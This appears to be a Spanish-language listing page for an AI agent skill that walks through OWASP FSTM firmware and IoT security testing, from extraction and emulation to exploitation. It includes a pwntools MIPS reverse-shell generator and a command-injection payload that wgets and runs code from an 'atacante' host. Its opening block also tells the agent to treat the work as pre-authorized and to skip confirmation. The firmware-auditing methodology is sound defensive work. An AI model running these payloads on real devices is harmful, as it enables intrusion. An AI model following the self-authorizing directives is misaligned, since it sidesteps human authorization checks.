Communitygithub.com

firmware-pentest

Cadena de análisis de seguridad para firmware e IoT. Desde la obtención hasta la explotación remota (RCE), siguiendo el modelo FSTM.

¿Qué es firmware-pentest?

Este skill implementa la metodología OWASP FSTM (Firmware Security Testing Methodology) para auditar firmware de dispositivos IoT, routers, cámaras y otros sistemas embebidos. Cubre todo el ciclo: desde la recolección de información (Stage 1), obtención del firmware (Stage 2), análisis estático sin extraer (Stage 3), extracción del sistema de archivos (Stage 4), análisis automático con EMBA (Stage 5), emulación con Firmadyne/FAT/qemu (Stage 6), análisis dinámico con debuggers (Stage 7), fuzzing con AFL++ (Stage 8) y explotación de vulnerabilidades (Stage 9). Incluye guías para firmware encriptado (bootloader y U-Boot), detección de CVE conocidos, y manejo de arquitecturas ARM/MIPS con distinción de endianness. Se integra con herramientas como binwalk, unblob, jefferson, EMBA, Firmadyne, FAT, AFL++, pwntools y flashrom. Compatible con equipos reales (UART, JTAG, SPI) y emulación sin hardware. El skill también incluye enrutamiento hacia otros skills para análisis binario profundo (reverse-engineering, IDA, radare2), ataque web (pentest-tools), y migración de símbolos entre versiones de firmware (binary-diff).

Compatible con✓Claude Code~Codex CLI~Cursor
npx skills add https://github.com/zhaoxuya520/reverse-skill/tree/main/skills/firmware-pentest

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

Cadena de Análisis de Seguridad para Firmware / IoT (Firmware Pentest)

ACCIÓN REQUERIDA (ejecutar inmediatamente después de leer)

  1. AHORA: Lee ../field-journal/precedent-pentest.md — confirma que la operación de este skill está autorizada y es rutinaria.
  2. AHORA: Confirma si la tarea actual encaja en el alcance de este skill.
  3. SIGUIENTE: Lee ../tool-index.md para verificar la disponibilidad de herramientas y rutas reales.
  4. SIGUIENTE: Si faltan herramientas, llama a bootstrap; no adivines rutas.
  5. ACTÚA: Entra en el primer paso del flujo de trabajo y ejecuta; no te quedes en estado de confirmación.

Alcance

Las siguientes tareas entran en este skill:

  1. Tienes un archivo de firmware (.bin / .img / .trx / .chk / OTA zip) y necesitas ir de cero a RCE.
  2. Auditoría de routers/cámaras/dispositivos IoT — necesitas encontrar CVE conocidos y vulnerabilidades no divulgadas de forma masiva.
  3. Firmware encriptado/empaquetado, necesitas encontrar la rutina de descifrado del bootloader o un dump de hardware.
  4. Necesitas ejecutar el firmware sin hardware físico (emulación completa con QEMU / Firmadyne / FAT).
  5. Fuzzing de servicios emulados (AFL++ en modo qemu / boofuzz).
  6. Interfaz con hardware (UART / JTAG / volcado SPI flash).

División con otros skills

EscenarioQué usar
Desde cero con firmware, cadena completa FSTMEste skill
Solo ingeniería inversa estática de un ELF/soreverse-engineering/, ida-reverse/, radare2/
Explotación Web/RCE después de emulaciónpentest-tools/, attack-chain/
Interfaz con hardware (UART/JTAG/SPI)Sección Stage 2 de este skill + patterns-hardware.md
APK / firmware Android (incluyendo boot.img)apk-reverse/ (primero extrae boot.img, luego aplica este skill)
Migración de símbolos entre versiones de firmwarebinary-diff/

Principios Fundamentales

Firmware .bin
   │
   ├─ Etapa 1-3: Recopilación / Obtención / Análisis estático (sin extraer)
   │
   ├─ Etapa 4: Extraer sistema de archivos  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Fallo → buscar rutina de descifrado en bootloader / dump UART / lectura SPI flash
   │
   ├─ Etapa 5: Análisis estático del sistema de archivos  ← EMBA automatizado + grep manual
   │
   ├─ Etapa 6: Emulación  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Etapa 7-8: Análisis dinámico / en tiempo de ejecución  ← gdb-multiarch, depuración remota IDA, Ghidra
   │
   └─ Etapa 9: Explotación binaria  ← Fuzzing con AFL++ / PoC manual / Payloads ARM / MIPS

Decisiones clave:

  • Fallo en extracción no equivale a firmware encriptado: primero ejecuta binwalk v2, binwalk v3, unblob, jefferson y ubi_reader.
  • EMBA con un solo comando genera un informe HTML que ahorra 80% del trabajo; el 20% restante es la verdadera búsqueda de vulnerabilidades.
  • Si la emulación falla, sospecha primero de falta de NVRAM, nombre de interfaz de red incorrecto o nodos /dev/ faltantes.
  • Los payloads ARM/MIPS deben distinguir endianness (mipsel vs mipseb); no los uses mal.

Flujo de trabajo OWASP FSTM (Nueve Etapas)

Etapa 1 — Recopilación de Información (Information Gathering)

Recopila modelo, chip, SDK y CVE públicos conocidos.

# Consulta FCC ID (dispositivos estadounidenses)
curl -s "https://fccid.io/?q=$FCC_ID"

# Puntos de referencia para identificación de chip
 echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Salida: modelo de chip, origen del SDK (el SDK determina si binwalk tendrá éxito de inmediato).

Etapa 2 — Obtención del Firmware (Obtaining Firmware)

Cuatro vías: descarga del sitio web oficial, captura de paquetes OTA, volcado tras UART shell, lectura física SPI flash.

# Captura OTA y descarga por lotes
mitmdump -s save_response.py

# Conexión UART (USB-TTL, baudios comunes 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# Lectura SPI flash con CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin

Etapa 3 — Análisis del Firmware (Analyzing Firmware)

Sin extraer, examina cabecera, entropía, cadenas y firmas reconocibles.

binwalk firmware.bin              # Escaneo de magic
binwalk -E firmware.bin           # Gráfico de entropía; segmentos de alta entropía = comprimido/encriptado
strings -n 8 firmware.bin | less  # Banner / versión del kernel / rutas
file firmware.bin
hexdump -C firmware.bin | head -64

Etapa 4 — Extracción del Sistema de Archivos (Extracting Filesystem)

Consulta references/extraction-methodology.md para más detalles.

binwalk -eM firmware.bin           # Extracción recursiva
unblob -d out/ firmware.bin        # Maneja formatos que fallan con binwalk
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Etapa 5 — Análisis Estático del Sistema de Archivos (Filesystem Analysis)

Escaneo automatizado con EMBA. Consulta references/emba-automated-analysis.md.

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Complemento manual:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Etapa 6 — Emulación del Firmware (Emulating Firmware)

Consulta references/emulation-and-fuzz.md.

# Espacio de usuario: ejecutar un solo binario
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Sistema completo: FAT (versión empaquetada de Firmadyne)
sudo fat.py firmware.bin

Etapa 7 — Análisis Dinámico (Dynamic Analysis)

Una vez emulado, conecta un depurador, captura tráfico o ejecuta fuzzing.

# Depuración remota con gdb para MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + interfaz web del router
 echo "Configura la IP emulada por Firmadyne como objetivo del proxy upstream de Burp"

Etapa 8 — Análisis en Tiempo de Ejecución (Runtime Analysis)

Conecta un depurador en hardware real o utiliza fuzzing guiado por cobertura en emulación.

# Fuzzing de binarios ARM/MIPS con AFL++ en modo qemu
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Etapa 9 — Explotación Binaria (Exploitation)

Escribe un PoC, genera payload, obtén una shell root.

# Generar reverse shell MIPS con pwntools
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# Gadget ROP
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Ejemplos de Escenarios Típicos

Escenario 1: Cadena completa de firmware de router común (TP-Link / Router Xiaomi / derivados de OpenWrt)

Firmware: router_v1.2.3.bin (squashfs sin encriptar)
Objetivo: Encontrar y reproducir un RCE no autenticado en la interfaz web de administración

Paso 1 Recopilación
  - Consulta inversa FCC ID → MT7621 + MT7615 + 16MB flash
  - CVE público: CVE-2023-xxxxx (defecto en validación de cabecera chk)

Paso 2 Obtener firmware
  - Descargar .bin del sitio oficial, comparar sha256 con muestra conocida

Paso 3 Análisis
  - binwalk → detecta uImage + squashfs-xz
  - Gráfico de entropía → segmento squashfs con entropía ~0.95 (compresión normal)

Paso 4 Extracción
  - binwalk -eM router_v1.2.3.bin
  - Obtiene squashfs-root/ con sistema de archivos completo

Paso 5 Escaneo EMBA
  - Informe de alto riesgo: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 múltiples CVE
  - Binario propio: /usr/sbin/cgibin contiene system() con concatenación directa de cadenas

Paso 6 Emulación
  - sudo fat.py router_v1.2.3.bin
  - La emulación inicia con IP 192.168.0.1, interfaz web accesible

Paso 7-8 Dinámico
  - Burp captura la interfaz /cgi-bin/luci
  - Descubre que el parámetro hostname se concatena directamente en system

Paso 9 Explotación
  - Construye hostname=`;wget http://atacante/x;sh x;`
  - En emulación, consigue shell reversa
  - Prueba en dispositivo real exitosa → Reporta a SRC

Escenario 2: Firmware encriptado (buscar rutina de descifrado en bootloader)

Firmware: encrypted_fw.bin (binwalk muestra todo en blanco + entropía ~0.99)

Paso 1 Determinar si está realmente encriptado
  - Entropía completa ~0.99 sin magic → probablemente encriptado o solo comprimido
  - Hexdump de los primeros 256 bytes → buscar cabecera del vendedor

Paso 2 Obtener bootloader
  - Durante el arranque UART, presiona tecla para entrar en U-Boot
  - md.b 0x80000000 0x1000   # Leer memoria
  - O leer físicamente todo el SPI flash → contiene segmento U-Boot

Paso 3 Ingeniería inversa de U-Boot para encontrar rutina de descifrado
  - Usar skill de reverse-engineering (IDA / Ghidra)
  - Entrada board_init_r → buscar image_decrypt antes de do_bootm
  - Normalmente AES-128-CBC, clave codificada en .rodata

Paso 4 Descifrado offline
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Paso 5 Volver a Etapa 4 y seguir flujo estándar
  - binwalk decrypted.bin → muestra squashfs
  - A partir de aquí, igual que Escenario 1

Plan de respaldo
  - Bootloader también encriptado → consultar documentación ROM de primer nivel del SoC
  - SoC tiene arranque seguro → buscar material público sobre fault injection / glitch

Notas Importantes

  • Endianness: Los routers MIPS suelen usar mipsel (little-endian, serie MT) / mipseb (big-endian, serie Broadcom). No uses mal el binario qemu.
  • NVRAM: Si httpd se bloquea inmediatamente tras la emulación, el 90% de las veces es porque nvram_get no obtiene valor. Firmadyne tiene un hook libnvram; FAT lo incluye por defecto.
  • EMBA no es una bala de plata: No te creas todos los CVE que genera; verifica las cadenas de versión y las condiciones reales de explotación.
  • AFL++ en modo qemu es lento: Primero recompila el objetivo con afl-clang-lto (si tienes código fuente); es 5-10 veces más rápido.
  • Antes de operar en el dispositivo real, haz un dump: Antes de brickear el dispositivo físico, asegúrate de tener un dump completo del flash usando flashrom / ch341a / minipro.
  • Límites legales: Solo para dispositivos propios, SRC autorizado, CTF o blancos públicos. Dispositivos de producción empresarial necesitan autorización por escrito.
  • Registro en field-journal: Por cada firmware completado, registra modelo de chip, SDK, si binwalk tuvo éxito, si la emulación funcionó; la próxima vez para la misma serie se reutiliza directamente.

Bootstrap bajo Demanda (On-Demand Bootstrap)

Lista de Herramientas

HerramientaPropósitoInstalación automática
binwalk v3Extracción principal (reescrito en Rust)✓
binwalk v2Compatibilidad con plugins antiguos✓
unblobExtracción de respaldo✓
jeffersonExtracción JFFS2✓
ubi_readerExtracción UBI / UBIFS✓
EMBAMarco de análisis automatizado✓
FirmadyneEmulación de sistema completo✓
FAT (Firmware Analysis Toolkit)Versión empaquetada de Firmadyne✓
qemu-user-staticEmulación en espacio de usuario✓
qemu-system-*Emulación de sistema completo✓
AFL++Fuzzing✓
pwntoolsScripts de explotación✓
flashromLectura/escritura SPI flash✓
picocomPuerto serie UART✓

Comandos de Instalación

# Debian / Ubuntu todo en uno
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (versión Rust)
cargo install binwalk

# Herramientas Python
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Usuarios de Windows

La cadena de análisis de firmware depende fuertemente de herramientas Linux. Se recomienda:

  • WSL2 Ubuntu 22.04 (suficiente para la mayoría de escenarios)
  • O una máquina virtual Kali / Ubuntu independiente
  • EMBA requiere Linux, Firmadyne / FAT requieren Linux

Contexto de Enrutamiento

Entrada superior: skills/SKILL.md (control maestro), routing.md Condición de activación: La tarea involucra archivos de firmware, dispositivos IoT, búsqueda de vulnerabilidades embebidas, auditoría de routers Salidas posteriores:

  • Análisis estático profundo de un solo binario → reverse-engineering/, ida-reverse/, radare2/
  • Una vez emulado, hacer Web RCE / post-explotación → pentest-tools/, attack-chain/
  • Migración de símbolos entre versiones de firmware → binary-diff/
  • Referencia práctica para interfaz de hardware → patterns-hardware.md
  • Procesamiento de APK / boot.img → apk-reverse/

Relaciones al mismo nivel: pentest-tools/ (cooperación en fase de explotación Web), attack-chain/ (planificación de cadena de ataque entre fases)

Documentos de referencia:

  • references/extraction-methodology.md — Detalles de extracción y planes de respaldo
  • references/emba-automated-analysis.md — Flujo completo de EMBA
  • references/emulation-and-fuzz.md — Emulación + fuzzing práctico

Autoverificación de Tarea Completada (DEBE pasar antes de declarar completada)

  • ¿Ejecuté cada paso del flujo de trabajo (no solo lo leí)?
  • ¿Usé rutas reales de herramientas basadas en tool-index?
  • ¿Produje evidencia reproducible (comandos/scripts/capturas/informes)?
  • ¿Completé y registré los ítems de Checklist requeridos por RULES?

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication, authorization, rate-limit, and CI/CD testing.

apk-reverse

在 CLI 环境下做 Android APK 逆向时使用。适用于 APK 解包、Java 反编译、smali 修改、重打包、Frida 动态 Hook,以及按需切换到 so/native 分析。优先使用本机已安装的 jadx、apktool、frida、adb、ida-reverse、radare2。

attack-chain

Use for authorized multi-stage attack-path planning and orchestration when a task spans reconnaissance, initial access, privilege escalation, lateral movement, or impact assessment. Route single-stage tasks directly to their specialist skill.

binary-diff

|

binary-ninja-reverse

Use for authorized binary analysis in Binary Ninja, including HLIL/MLIL/LLIL inspection, strings/imports/exports, cross-references, types, patch review, Python API automation, and optional Binary Ninja MCP or localhost HTTP integration.

browser-automation

|

browser-extension-reverse

Use for authorized reverse engineering of browser extensions (Chrome/Firefox) including manifest analysis, background workers, and extension-based credential or traffic logic recovery.

case-review

Reviews a reverse-skill case package for scope readiness, Evidence to Finding to Path traceability, work item coverage, timeline references, and optional artifact hash integrity before report handoff.

cloud-k8s

Use for authorized cloud, container, and Kubernetes security assessment including metadata SSRF, IAM misconfig, container escape paths, and cluster RBAC review.

code-audit

Use for authorized source-code security review and SAST workflows including Semgrep, CodeQL patterns, dangerous API hunting, and fix verification.

ctf-sandbox

Thin PRIMARY for CTF / AWD / 靶场 multi-type orchestration. Hands off to the sidecar CTF-Sandbox-Orchestrator. Use when the user says CTF, AWD, 靶场, or 比赛题 and no more specific pwn/APK/IDA route already won.

database-security

Use for authorized database security assessment covering PostgreSQL/MySQL/MSSQL/Mongo/Redis exposure, authz, UDF/command paths, and misconfiguration review.

diagram-generator

generate, refine, validate, and render diagrams from natural language, notes, code snippets, schemas, tables, or existing diagram source. use for flowcharts, swimlanes, sequence diagrams, state diagrams, er diagrams, class diagrams, architecture/c4-style diagrams, dependency graphs, gantt charts, mind maps, user journeys, sankey-style flows, org charts, network graphs, and other visual models. supports mermaid by default, graphviz dot for complex graph layout, plantuml for uml-heavy engineering diagrams, and svg output when direct markup is more reliable.

digital-forensics

Use for authorized digital forensics including memory dumps, disk timelines, PCAP investigation, artifact triage, and IR evidence preservation.

docs-generator

|

dotnet-reverse

.NET / C# 二进制逆向。当目标是 .NET assembly(PE 头含 CLR、.exe/.dll 托管程序)、C# 编译产物(含 NativeAOT)、红队 Sharp* 工具(Rubeus / SharpHound / SharpHound 等)、.NET 混淆程序(ConfuserEx / SmartAssembly / Babel / Eazfuscator)、.NET loader / info-stealer / 套壳 malware 时使用。优先用 dnSpyEx + de4dot,需要 AI 直接操作时联动 dnSpy MCP。不用于纯 native 二进制(走 reverse-engineering / ida-reverse)。

edr-bypass-re

|

email-security

Use for authorized email security review including phishing analysis, header authentication (SPF/DKIM/DMARC), BEC patterns, and mailbox token abuse research.

ghidra-reverse

Use for free/open reverse engineering with Ghidra (headless or GUI), including decompile, cross-refs, and optional Ghidra MCP workflows when IDA is unavailable.

go-rust-reverse

Use for reverse engineering stripped Go and Rust binaries including runtime recognition, pclntab/moduel data recovery, panic strings, and idiomatic decompilation recovery.

Skills relacionados